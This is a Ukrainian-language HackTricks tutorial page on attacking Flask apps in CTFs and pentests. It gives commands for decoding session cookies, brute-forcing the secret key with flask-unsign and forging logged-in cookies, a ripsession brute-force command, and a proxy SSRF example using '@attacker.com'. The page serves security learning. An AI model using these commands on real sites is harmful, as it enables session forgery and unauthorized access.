Flask
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.
Ймовірно, якщо ви берете участь у CTF, додаток Flask буде пов’язаний з SSTI.
Cookies
Типова назва cookie-сесії — session.
Decoder
Онлайн декодер Flask cookies: https://www.kirsle.net/wizards/flask-session.cgi
Manual
Візьміть першу частину cookie до першої крапки і декодуйте її з Base64:
echo "ImhlbGxvIg" | base64 -d
Cookie також підписано за допомогою пароля
Flask-Unsign
Утиліта командного рядка для отримання, декодування, brute-force та створення session cookies Flask-додатку шляхом вгадування secret keys.
pip3 install flask-unsign
Декодувати Cookie
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
Brute Force
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
Підписування
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Підписування з використанням legacy (старих версій)
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
RIPsession
Інструмент командного рядка для brute-force веб-сайтів, що використовує cookies, створені за допомогою flask-unsign.
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
SQLi у Flask session cookie за допомогою SQLmap
This example використовує опцію sqlmap eval, щоб автоматично підписувати sqlmap payloads для flask, використовуючи відомий секрет.
Flask Proxy до SSRF
In this writeup пояснюється, як Flask дозволяє запит, який починається з символу “@”:
GET @/ HTTP/1.1
Host: target.com
Connection: close
У наведеному нижче сценарії:
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
Може дозволяти ввести, наприклад, “@attacker.com”, щоб спричинити SSRF.
Tip
Вчіться та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вчіться та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Перегляньте повний каталог HackTricks Training для assessment tracks (ARTA/GRTA/AzRTA) і Linux Hacking Expert (LHE).
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 Discord group, telegram group, слідкуйте за @hacktricks_live на X/Twitter, або перегляньте сторінку LinkedIn і YouTube channel.
- Діліться hacking tricks, надсилаючи PRs до репозиторіїв github HackTricks і HackTricks Cloud.


